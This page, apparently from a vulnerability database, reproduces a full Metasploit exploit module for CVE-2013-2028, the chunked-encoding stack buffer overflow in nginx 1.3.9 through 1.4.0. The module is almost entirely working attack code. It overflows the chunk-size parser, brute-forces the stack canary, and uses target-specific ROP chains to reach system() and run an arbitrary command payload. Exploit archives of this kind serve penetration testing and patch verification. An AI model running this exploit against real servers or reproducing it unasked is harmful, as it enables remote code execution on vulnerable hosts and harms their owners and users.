Lucene search
+L

Nginx HTTP Server 1.3.9-1.4.0 Chunked Encoding Stack Buffer Overflow

🗓️ 23 May 2013 00:00:00Reported by Greg MacManusType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 197 Views

Nginx 1.3.9-1.4.0 Chunked Encoding Buffer Overflo

Related
Code
`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit4 < Msf::Exploit::Remote  
  
include Exploit::Remote::Tcp  
  
def initialize(info = {})  
  
super(update_info(info,  
'Name' => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx.  
The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by  
supplying an overly long hex value as chunked block size. This value is later used  
when determining the number of bytes to read into a stack buffer, thus the overflow  
becomes possible.  
},  
'Author' =>  
[  
'Greg MacManus', # original discovery  
'hal', # Metasploit module  
'saelo' # Metasploit module  
],  
'DisclosureDate' => 'May 07 2013',  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2013-2028'],  
['OSVDB', '93037'],  
['URL', 'http://nginx.org/en/security_advisories.html'],  
['URL', 'http://packetstormsecurity.com/files/121560/Nginx-1.3.9-1.4.0-Stack-Buffer-Overflow.html']  
],  
'Privileged' => false,  
'Payload' =>  
{  
'BadChars' => "\x0d\x0a",  
},  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'Targets' =>  
[  
[ 'Ubuntu 13.04 32bit - nginx 1.4.0', {  
'CanaryOffset' => 5050,  
'Offset' => 12,  
'Writable' => 0x080c7330, # .data from nginx  
:dereference_got_callback => :dereference_got_ubuntu_1304,  
:store_callback => :store_ubuntu_1304,  
}],  
[ 'Debian Squeeze 32bit - nginx 1.4.0', {  
'Offset' => 5130,  
'Writable' => 0x080b4360, # .data from nginx  
:dereference_got_callback => :dereference_got_debian_squeeze,  
:store_callback => :store_debian_squeeze  
} ],  
],  
  
'DefaultTarget' => 0  
))  
  
register_options([  
OptPort.new('RPORT', [true, "The remote HTTP server port", 80])  
], self.class)  
  
register_advanced_options(  
[  
OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff ]),  
], self.class)  
  
end  
  
def peer  
"#{rhost}:#{rport}"  
end  
  
def check  
begin  
res = send_request_fixed(nil)  
  
if res =~ /^Server: nginx\/(1\.3\.(9|10|11|12|13|14|15|16)|1\.4\.0)/m  
return Exploit::CheckCode::Appears  
elsif res =~ /^Server: nginx/m  
return Exploit::CheckCode::Detected  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
print_error("#{peer} - Connection failed")  
end  
  
return Exploit::CheckCode::Unknown  
end  
  
#  
# Generate a random chunk size that will always result  
# in a negative 64bit number when being parsed  
#  
def random_chunk_size(bytes=16)  
return bytes.times.map{ (rand(0x8) + 0x8).to_s(16) }.join  
end  
  
def send_request_fixed(data)  
  
connect  
  
request = "GET / HTTP/1.1\r\n"  
request << "Host: #{Rex::Text.rand_text_alpha(16)}\r\n"  
request << "Transfer-Encoding: Chunked\r\n"  
request << "\r\n"  
request << "#{data}"  
  
sock.put(request)  
  
res = nil  
  
begin  
res = sock.get_once(-1, 0.5)  
rescue EOFError => e  
# Ignore  
end  
  
disconnect  
return res  
end  
  
def store_ubuntu_1304(address, value)  
chain = [  
0x0804c415, # pop ecx ; add al, 29h ; ret  
address, # address  
0x080b9a38, # pop eax ; ret  
value.unpack('V').first, # value  
0x080a9dce, # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret  
]  
return chain.pack('V*')  
end  
  
def dereference_got_ubuntu_1304  
chain = [  
0x08094129, # pop esi; ret  
0x080c5090, # GOT for localtime_r  
0x0804c415, # pop ecx ; add al, 29h ; ret  
0x001a4b00, # Offset to system  
0x080c360a, # add ecx, [esi] ; adc al, 41h ; ret  
0x08076f63, # push ecx ; add al, 39h ; ret  
0x41414141, # Garbage return address  
target['Writable'], # ptr to .data where contents have been stored  
]  
return chain.pack('V*')  
end  
  
def store_debian_squeeze(address, value)  
chain = [  
0x08050d93, # pop edx ; add al 0x83 ; ret  
value.unpack('V').first, # value  
0x08067330, # pop eax ; ret  
address, # address  
0x08070e94, # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret  
0x41414141, # ebp  
]  
  
return chain.pack('V*')  
end  
  
def dereference_got_debian_squeeze  
chain = [  
0x0804ab34, # pop edi ; pop ebp ; ret  
0x080B4128 -  
0x5d5b14c4, # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment  
0x41414141, # padding (ebp)  
0x08093c75, # mov ebx, edi ; dec ecx ; ret  
0x08067330, # pop eax # ret  
0xfffb0c80, # offset  
0x08078a46, # add eax, [ebx+0x5d5b14c4] # ret  
0x0804a3af, # call eax # system  
target['Writable'] # ptr to .data where contents have been stored  
]  
return chain.pack("V*")  
end  
  
def store(buf, address, value)  
rop = target['Rop']  
chain = rop['store']['chain']  
chain[rop['store']['address_offset']] = address  
chain[rop['store']['value_offset']] = value.unpack('V').first  
buf << chain.pack('V*')  
end  
  
def dereference_got  
  
unless self.respond_to?(target[:store_callback]) and self.respond_to?(target[:dereference_got_callback])  
fail_with(Exploit::Failure::NoTarget, "Invalid target specified: no callback functions defined")  
end  
  
buf = ""  
command = payload.encoded  
i = 0  
while i < command.length  
buf << self.send(target[:store_callback], target['Writable'] + i, command[i, 4].ljust(4, ";"))  
i = i + 4  
end  
  
buf << self.send(target[:dereference_got_callback])  
  
return buf  
end  
  
def exploit  
data = random_chunk_size(1024)  
  
if target['CanaryOffset'].nil?  
data << Rex::Text.rand_text_alpha(target['Offset'] - data.size)  
else  
  
if not datastore['CANARY'] == 0xffffffff  
print_status("#{peer} - Using 0x%08x as stack canary" % datastore['CANARY'])  
canary = datastore['CANARY']  
else  
print_status("#{peer} - Searching for stack canary")  
canary = find_canary  
  
if canary.nil? || canary == 0x00000000  
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to find stack canary")  
else  
print_good("#{peer} - Canary found: 0x%08x\n" % canary)  
end  
end  
  
data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)  
data << [canary].pack('V')  
data << Rex::Text.rand_text_hex(target['Offset'])  
  
end  
  
data << dereference_got  
  
begin  
send_request_fixed(data)  
rescue Errno::ECONNRESET => e  
# Ignore  
end  
handler  
end  
  
def find_canary  
# First byte of the canary is already known  
canary = "\x00"  
  
print_status("#{peer} - Assuming byte 0 0x%02x" % 0x00)  
  
# We are going to bruteforce the next 3 bytes one at a time  
3.times do |c|  
print_status("#{peer} - Bruteforcing byte #{c + 1}")  
  
0.upto(255) do |i|  
data = random_chunk_size(1024)  
data << Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)  
data << canary  
data << i.chr  
  
unless send_request_fixed(data).nil?  
print_good("#{peer} - Byte #{c + 1} found: 0x%02x" % i)  
canary << i.chr  
break  
end  
end  
end  
  
if canary == "\x00"  
return nil  
else  
return canary.unpack('V').first  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 May 2013 00:00Current
0.7Low risk
Vulners AI Score0.7
EPSS0.87475
197